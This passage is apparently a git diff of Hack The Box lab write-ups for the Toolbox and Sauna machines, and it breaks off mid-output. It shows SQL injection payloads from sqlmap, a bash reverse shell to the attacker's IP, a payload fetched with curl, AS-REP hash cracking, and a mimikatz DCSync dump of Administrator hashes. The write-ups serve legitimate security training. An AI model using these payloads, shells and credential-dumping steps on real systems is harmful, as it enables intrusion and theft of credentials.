[18:30:36] [INFO] testing 'Generic inline queries' + [18:30:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' + [18:30:37] [INFO] POST parameter 'username' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable + [18:30:37] [INFO] testing 'PostgreSQL inline queries' + [18:30:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' + [18:30:48] [INFO] POST parameter 'username' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable + [18:30:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' + [18:30:59] [INFO] POST parameter 'username' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable + [18:30:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' + [18:30:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found + [18:31:04] [INFO] target URL appears to be UNION injectable with 2 columns + injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y + [18:31:08] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') + [18:31:08] [INFO] testing 'Generic UNION query (51) - 21 to 40 columns' + [18:31:12] [INFO] testing 'Generic UNION query (51) - 41 to 60 columns' + [18:31:17] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval + POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N + sqlmap identified the following injection point(s) with a total of 135 HTTP(s) requests: + --- + **Parameter: username (POST)** + Type: boolean-based blind + Title: OR boolean-based blind - WHERE or HAVING clause + **Payload: username=-9325' OR 5396=5396-- MhIJ &password;=admin** + + Type: error-based + Title: PostgreSQL AND error-based - WHERE or HAVING clause + Payload: username=admin' AND 8746=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (8746=8746) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(113)||CHR(98)||CHR(113)) AS NUMERIC)-- IKYc&password;=admin + + Type: stacked queries + Title: PostgreSQL > 8.1 stacked queries (comment) + Payload: username=admin';SELECT PG_SLEEP(5)--&password;=admin + + Type: time-based blind + Title: PostgreSQL > 8.1 AND time-based blind + Payload: username=admin' AND 2290=(SELECT 2290 FROM PG_SLEEP(5))-- sWjK&password;=admin + --- + [18:31:17] [INFO] the back-end DBMS is PostgreSQL + web server operating system: Linux Debian 10 (buster) + web application technology: PHP 7.3.14, Apache 2.4.38 + back-end DBMS: PostgreSQL + [18:31:19] [INFO] fetched data logged to text files under '/home/nothing/.local/share/sqlmap/output/admin.megalogistic.com' + + [*] ending @ 18:31:19 /2021-06-07/ + + + +Here we see that sqlmap managed to pickup that this was a PostgreSQL database, let's see if we can spawn a shell: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Toolbox] + → sqlmap -r login.req --risk=3 --level=3 --batch --force-ssl --os-shell + ___ + __H__ + ___ ___[']_____ ___ ___ {1.5.5#stable} + |_ -| . [)] | .'| . | + |___|_ [']_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 18:35:16 /2021-06-07/ + + [18:35:16] [INFO] parsing HTTP request from 'login.req' + [18:35:16] [INFO] resuming back-end DBMS 'postgresql' + [18:35:16] [INFO] testing connection to the target URL + sqlmap resumed the following injection point(s) from stored session: + --- + Parameter: username (POST) + Type: boolean-based blind + Title: OR boolean-based blind - WHERE or HAVING clause + Payload: username=-9325' OR 5396=5396-- MhIJ&password;=admin + + Type: error-based + Title: PostgreSQL AND error-based - WHERE or HAVING clause + Payload: username=admin' AND 8746=CAST((CHR(113)||CHR(122)||CHR(98)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (8746=8746) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(113)||CHR(98)||CHR(113)) AS NUMERIC)-- IKYc&password;=admin + + Type: stacked queries + Title: PostgreSQL > 8.1 stacked queries (comment) + Payload: username=admin';SELECT PG_SLEEP(5)--&password;=admin + + Type: time-based blind + Title: PostgreSQL > 8.1 AND time-based blind + Payload: username=admin' AND 2290=(SELECT 2290 FROM PG_SLEEP(5))-- sWjK&password;=admin + --- + [18:35:16] [INFO] the back-end DBMS is PostgreSQL + web server operating system: Linux Debian 10 (buster) + web application technology: PHP 7.3.14, Apache 2.4.38 + back-end DBMS: PostgreSQL + [18:35:16] [INFO] fingerprinting the back-end DBMS operating system + [18:35:17] [INFO] the back-end DBMS operating system is Linux + [18:35:18] [INFO] testing if current user is DBA + [18:35:18] [INFO] retrieved: '1' + [18:35:19] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution + [18:35:19] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER + + os-shell> id + do you want to retrieve the command standard output? [Y/n/a] Y + [18:35:45] [INFO] retrieved: 'uid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-cert)' + + os-shell> which bash + do you want to retrieve the command standard output? [Y/n/a] Y + [18:39:18] [INFO] retrieved: '/bin/bash' + + + +And we can! Now that we can execute system commands as the postgres user let's get a bash reverse shell: + + + [term1] + + os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.13/9001 0>&1' + do you want to retrieve the command standard output? [Y/n/a] Y + + + [term2] + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Toolbox] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.236] 50037 + bash: cannot set terminal process group (934): Inappropriate ioctl for device + bash: no job control in this shell + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ id + id + uid=102(postgres) gid=104(postgres) groups=104(postgres),102(ssl-cert) + + + +Now from let's get the user flag: + + + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ls ~ + ls ~ + 11 + user.txt + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ cat ~/user.txt + cat ~/user.txt + f0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX flag.txt + + + +And that's it ! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now before we move on let's first upgrade our reverse shell to a fully interactive TTY: + + + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ which python python3 bash + which python python3 bash + /usr/bin/python3 + /bin/bash + + #spawn a TTY with python3 + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ python3 -c 'import pty; pty.spawn("/bin/bash")' + + #background the reverse shell (CTRL+Z) + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ^Z + [1] + 4044233 suspended nc -lvnp 9001 + + #set stty raw -echo and then fg the reverse shell once again + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Toolbox] + → stty raw -echo ; fg + [1] + 4044233 continued nc -lvnp 9001 + + #export the TERM and SHELL variables + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ export TERM=screen-256color + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ export SHELL=bash + + #set the TTY rows + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ stty rows 40 columns 125 + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ reset + + + +Let's get linpeas.sh onto the box to enumerate it: + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Toolbox] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Toolbox] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + [term2] + + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 333k 100 333k 0 0 1694k 0 --:--:-- --:--:-- --:--:-- 1694k + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ chmod +x /tmp/peas.sh + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ /tmp/peas.sh + + +` ![](prg/56_004.png) + +Scrolling through the output of linpeas we see the following: + +![](prg/56_005.png) + +We're on a boot2docker debian container, and scrolling further we see the following: + +![](prg/56_006.png) + +And here we see that the ip on the eth0 interface is 172.17.0.2. The previous hint Boot2Docker, is a distribution on VirtualBox, and the default credentials are **docker/tcuser** , we can guess that the docker host is at the **172.17.0.1** IP address. + +Warning, you will have to redo your reverse shell because the container is unstable: + + + bash: [1078: 2 (255)] tcsetattr: Inappropriate ioctl for device + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ + + +So let's spawn our reverse shell once more: + + + [term1] + + os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.13/9001 0>&1' + + + [term2] + + [ 10.10.14.13/23 ] [ /dev/pts/49 ] [~/HTB/Toolbox] + → nc -lvnp 9001 + listening on [any] 9001 ... + + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.236] 50075 + bash: cannot set terminal process group (2876): Inappropriate ioctl for device + bash: no job control in this shell + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ python3 -c 'import pty;pty.spawn("/bin/bash")' + postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ssh docker@172.17.0.1 + ssh docker@172.17.0.1 + docker@172.17.0.1's password: tcuser + + ( '>') + /) TC (\ Core is distributed with ABSOLUTELY NO WARRANTY. + (/-_--_-\) www.tinycorelinux.net + + docker@box:~$ id + id + uid=1000(docker) gid=50(staff) groups=50(staff),100(docker) + + + +And as expected we have been able to access the docker host with the default credentials! Now let's see if we can access the **C:\Users** folder mounted at **/c/Users**. + + + docker@box:~$ cd /c/Users + cd /c/Users + + docker@box:/c/Users$ ls + ls + Administrator Default Public desktop.ini + All Users Default User Tony + + docker@box:/c/Users$ cd Administrator + cd Administrator + + docker@box:/c/Users/Administrator$ cd Desktop + cd Desktop + + docker@box:/c/Users/Administrator/Desktop$ ls + ls + desktop.ini root.txt + + docker@box:/c/Users/Administrator/Desktop$ cat root.txt + cat root.txt + ccXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/56_graph.png) + diff --git a/Easy/57.md b/Easy/57.md new file mode 100644 index 0000000..a4bad49 --- /dev/null +++ b/Easy/57.md @@ -0,0 +1,540 @@ +# Sauna Writeup + +![](img/57.png) + +## Introduction : + +Sauna is an easy Windows Box released back in Febuary 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Sauna] + → nmap -vvv -p- 10.10.10.175 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 445/tcp on 10.10.10.175 + Discovered open port 135/tcp on 10.10.10.175 + Discovered open port 139/tcp on 10.10.10.175 + Discovered open port 53/tcp on 10.10.10.175 + Discovered open port 636/tcp on 10.10.10.175 + Discovered open port 5985/tcp on 10.10.10.175 + Discovered open port 88/tcp on 10.10.10.175 + Discovered open port 49667/tcp on 10.10.10.175 + Discovered open port 49673/tcp on 10.10.10.175 + Discovered open port 80/tcp on 10.10.10.175 + Discovered open port 3268/tcp on 10.10.10.175 + Discovered open port 55898/tcp on 10.10.10.175 + Discovered open port 464/tcp on 10.10.10.175 + Discovered open port 49675/tcp on 10.10.10.175 + Discovered open port 49686/tcp on 10.10.10.175 + Discovered open port 389/tcp on 10.10.10.175 + Discovered open port 593/tcp on 10.10.10.175 + Discovered open port 9389/tcp on 10.10.10.175 + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → nmap -sCV -p 53,135,139,389,445,636,3268,5985,464,593 10.10.10.175 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 09:39 CEST + Nmap scan report for 10.10.10.175 + Host is up (0.029s latency). + + PORT STATE SERVICE VERSION + 53/tcp open domain Simple DNS Plus + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) + 445/tcp open microsoft-ds? + 464/tcp open kpasswd5? + 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 + 636/tcp open tcpwrapped + 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) + 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-server-header: Microsoft-HTTPAPI/2.0 + |_http-title: Not Found + Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 7h07m50s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2021-06-08T14:47:18 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 48.80 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/57_001.png) + +It's basically a bank website, and going to the **About Us** page we see a list of potential usernames: + +![](prg/57_002.png) + +So let's save the usernames in a textfile: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → vim users.txt + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → cat users.txt + FergusSmith + ShaunCoins + BowieTaylor + SophieDriver + HugoBear + StevenKerb + + fsmith + skerb + hbear + sdriver + btaylor + scoins + + fergus.smith + shaun.coins + bowie.taylor + hugo.bear + steven.kerb + sophie.driver + + fergus_smith + shaun_coins + bowie_taylor + hugo_bear + steven_kerb + sophie_driver + + + +Now our nmap scan picked up the port 389 so let's enumerate it further: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → nmap -n -sV --script "ldap*" -p 389 10.10.10.175 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 09:41 CEST + Nmap scan report for 10.10.10.175 + Host is up (0.030s latency). + + PORT STATE SERVICE VERSION + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name) + | ldap-brute: + | root:empty> => Valid credentials + | admin:empty> => Valid credentials + | administrator:empty> => Valid credentials + | webadmin:empty> => Valid credentials + | sysadmin:empty> => Valid credentials + | netadmin:empty> => Valid credentials + | guest:empty> => Valid credentials + | user:empty> => Valid credentials + | web:empty> => Valid credentials + |_ test:empty> => Valid credentials + + [...] + + | msDs-masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL + | msDS-IsDomainFor: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL + | msDS-NcType: 0 + | msDS-ExpirePasswordsOnSmartCardOnlyAccounts: TRUE + | dc: EGOTISTICAL-BANK + | dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL + | dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL + |_ dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL + Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows + + + +Just like we saw earlier, we see that the DC name is **EGOTISTICAL-BANK.LOCAL** so let's add it to our hosts file: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.175 egotistical-bank.local' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 egotistical-bank.local + PING egotistical-bank.local (10.10.10.175) 56(84) bytes of data. + 64 bytes from egotistical-bank.local (10.10.10.175): icmp_seq=1 ttl=127 time=27.7 ms + + --- egotistical-bank.local ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 27.650/27.650/27.650/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → + + + +Now let's use GetNPusers.py to get the TGT (Ticket Granting Ticket) if the account doesn't need Kerberos pre-authentication, just like we did back on the [Forest](38.html) box. + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → locate GetNPUsers.py + /home/nothing/HTB/Forest/GetNPUsers.py + /home/nothing/HTB/Forest/impacket/build/scripts-3.9/GetNPUsers.py + /home/nothing/HTB/Forest/impacket/examples/GetNPUsers.py + /usr/local/bin/GetNPUsers.py + /usr/local/lib/python3.9/dist-packages/impacket-0.9.23.dev1+20210519.170900.2f5c2476-py3.9.egg/EGG-INFO/scripts/GetNPUsers.py + /usr/share/doc/python3-impacket/examples/GetNPUsers.py + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → **python3** /home/nothing/HTB/Forest/impacket/build/scripts-3.9/**GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.10.10.175 -usersfile users.txt -format john -outputfile output.txt** + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] invalid principal syntax + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] invalid principal syntax + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] invalid principal syntax + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → cat output.txt + $krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL:e5fd4e219aaaeaaee831332f9757141c$4b7dc2211c0031d41c8667e233453527d9b0dd39176a4fcc15bbb9d7535e360a47f4c7f30e46e1afbf6ce3d27fca4f9c565dd47aa5896389bcd9a70e74ceb7ead43f5bc37be009d480bd404547ee634a22f161d599913a834ead66f05421ae2c5f550fb3334490cafebd10186b90a5343f5240cf901a033f0b3126c45e4e27f0f4514bf5367fc281e5bc826921b136ed7b995f9c1144f9a62f8d871806e3bbb07a3789bcedfa928409ac543b4ab30f024730b1d9ca818ceb99e6dfd064544eec1a530075004840b580afcfa3787a7c1c9012957d7c0b5ae53af8e845173509688166cbe140017a3b2076d583b1d496e42ef78b9e305edf5b43802c653ef6ab4d + + + +Now that we got fsmith's hashed password let's crack it with john: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → john output.txt -w=/usr/share/wordlists/rockyou.txt + Using default input encoding: UTF-8 + Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + **Thestrokes23 ($krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL)** + 1g 0:00:00:09 DONE (2021-06-08 09:54) 0.1102g/s 1161Kp/s 1161Kc/s 1161KC/s Thrall..Thehunter22 + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + +And we got fsmith's password! Now let's use evil-winrm to get onto the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → evil-winrm -u fsmith -p Thestrokes23 -i egotistical-bank.local + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\FSmith\Documents> cd .. + *Evil-WinRM* PS C:\Users\FSmith> ls + + + Directory: C:\Users\FSmith + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d-r--- 1/23/2020 10:01 AM Desktop + d-r--- 1/24/2020 10:40 AM Documents + d-r--- 9/15/2018 12:19 AM Downloads + d-r--- 9/15/2018 12:19 AM Favorites + d-r--- 9/15/2018 12:19 AM Links + d-r--- 9/15/2018 12:19 AM Music + d-r--- 9/15/2018 12:19 AM Pictures + d----- 9/15/2018 12:19 AM Saved Games + d-r--- 9/15/2018 12:19 AM Videos + + + *Evil-WinRM* PS C:\Users\FSmith> cd Desktop + *Evil-WinRM* PS C:\Users\FSmith\Desktop> ls + + + Directory: C:\Users\FSmith\Desktop + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 1/23/2020 10:03 AM 34 user.txt + + + *Evil-WinRM* PS C:\Users\FSmith\Desktop> cat user.txt + 1bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc let's use Invoke-winPEAS.ps1 from powershell empire: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Sauna] + → locate winPEAS.ps1 + /home/nothing/HTB/Buff/Invoke-winPEAS.ps1 + /home/nothing/HTB/Omni/SirepRAT/Invoke-winPEAS.ps1 + /usr/share/powershell-empire/data/module_source/privesc/Invoke-winPEAS.ps1 + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Sauna] + → cp /usr/share/powershell-empire/data/module_source/privesc/Invoke-winPEAS.ps1 . + + + +let's upload it to a temporary directory we create: + + + *Evil-WinRM* PS C:\Users\FSmith\Desktop> mkdir C:\Temp + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 6/8/2021 8:06 AM Temp + + + *Evil-WinRM* PS C:\Users\FSmith\Desktop> cd C:\Temp + *Evil-WinRM* PS C:\Temp> + + + +Then we can use evil-winrm's built in upload function: + + + *Evil-WinRM* PS C:\Temp> upload Invoke-winPEAS.ps1 + Info: Uploading Invoke-winPEAS.ps1 to C:\Temp\Invoke-winPEAS.ps1 + + + Data: 310740 bytes of 310740 bytes copied + + Info: Upload successful! + + *Evil-WinRM* PS C:\Temp> ls + + + Directory: C:\Temp + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 6/8/2021 8:07 AM 233056 Invoke-winPEAS.ps1 + + + +Then just import the .ps1 file as a module then run the command: + + + *Evil-WinRM* PS C:\Temp> import-module ./Invoke-winPEAS.ps1 + *Evil-WinRM* PS C:\Temp> Invoke-winPEAS + + + +` ![](prg/57_003.png) + +Scrolling through the winPEAS output we see the following: + +![](prg/57_004.png) + +So now we have svc_loanmgr's password, so let's spawn another evil-winrm session with his credentials: + + + [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Sauna] + → evil-winrm -u svc_loanmgr -p Moneymakestheworldgoround! -i egotistical-bank.local + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami + egotisticalbank\svc_loanmgr + + + +As expected we managed to spawn a session as svc_loanmgr, now in order to privesc we're going to upload mimikatz + + + [term1] + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/Sauna] + → locate mimikatz.exe + /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe + /usr/share/windows-resources/mimikatz/x64/mimikatz.exe + + + [term2] + + *Evil-WinRM* PS C:\Users\svc_loanmgr> cd C:\Temp + *Evil-WinRM* PS C:\Temp> upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe + Info: Uploading /usr/share/windows-resources/mimikatz/x64/mimikatz.exe to C:\Temp\mimikatz.exe + + + Data: 1773544 bytes of 1773544 bytes copied + + Info: Upload successful! + + + +Now let's run it: + + + *Evil-WinRM* PS C:\Temp> .\mimikatz.exe "lsadump::dcsync /user:Administrator" "exit" + + .#####. mimikatz 2.2.0 (x64) #19041 May 31 2021 00:08:47 + .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) + ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) + ## \ / ## > https://blog.gentilkiwi.com/mimikatz + '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) + '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ + + mimikatz(commandline) # lsadump::dcsync /user:Administrator + [DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain + [DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server + [DC] 'Administrator' will be the user account + [rpc] Service : ldap + [rpc] AuthnSvc : GSS_NEGOTIATE (9) + + Object RDN : Administrator + + ** SAM ACCOUNT ** + + SAM Username : Administrator + Account Type : 30000000 ( USER_OBJECT ) + User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD ) + Account expiration : + Password last change : 1/24/2020 10:14:15 AM + Object Security ID : S-1-5-21-2966785786-3096785034-1186376766-500 + Object Relative ID : 500 + + Credentials: + **Hash NTLM: d9485863c1e9e05851aa40cbb4ab9dff** + ntlm- 0: d9485863c1e9e05851aa40cbb4ab9dff + ntlm- 1: 7facdc498ed1680c4fd1448319a8c04f + lm - 0: ee8c50e6bc332970a8e8a632488f5211 + + Supplemental Credentials: + * Primary:NTLM-Strong-NTOWF * + Random Value : caab2b641b39e342e0bdfcd150b1683e + + * Primary:Kerberos-Newer-Keys * + Default Salt : EGOTISTICAL-BANK.LOCALAdministrator + Default Iterations : 4096 + Credentials + aes256_hmac (4096) : 987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031 + aes128_hmac (4096) : 145e4d0e4a6600b7ec0ece74997651d0 + des_cbc_md5 (4096) : 19d5f15d689b1ce5 + OldCredentials + aes256_hmac (4096) : 9637f48fa06f6eea485d26cd297076c5507877df32e4a47497f360106b3c95ef + aes128_hmac (4096) : 52c02b864f61f427d6ed0b22639849df + des_cbc_md5 (4096) : d9379d13f7c15d1c + + * Primary:Kerberos * + Default Salt : EGOTISTICAL-BANK.LOCALAdministrator + Credentials + des_cbc_md5 : 19d5f15d689b1ce5 + OldCredentials + des_cbc_md5 : d9379d13f7c15d1c + + * Packages * + NTLM-Strong-NTOWF + + * Primary:WDigest * + 01 3fbea1ff422da035f1dc9b0ce45e84ea + 02 708091daa9db25abbd1d94246e4257e2 + 03 417f2e40d5be8d436af749ed9fddb0b0 + 04 3fbea1ff422da035f1dc9b0ce45e84ea + 05 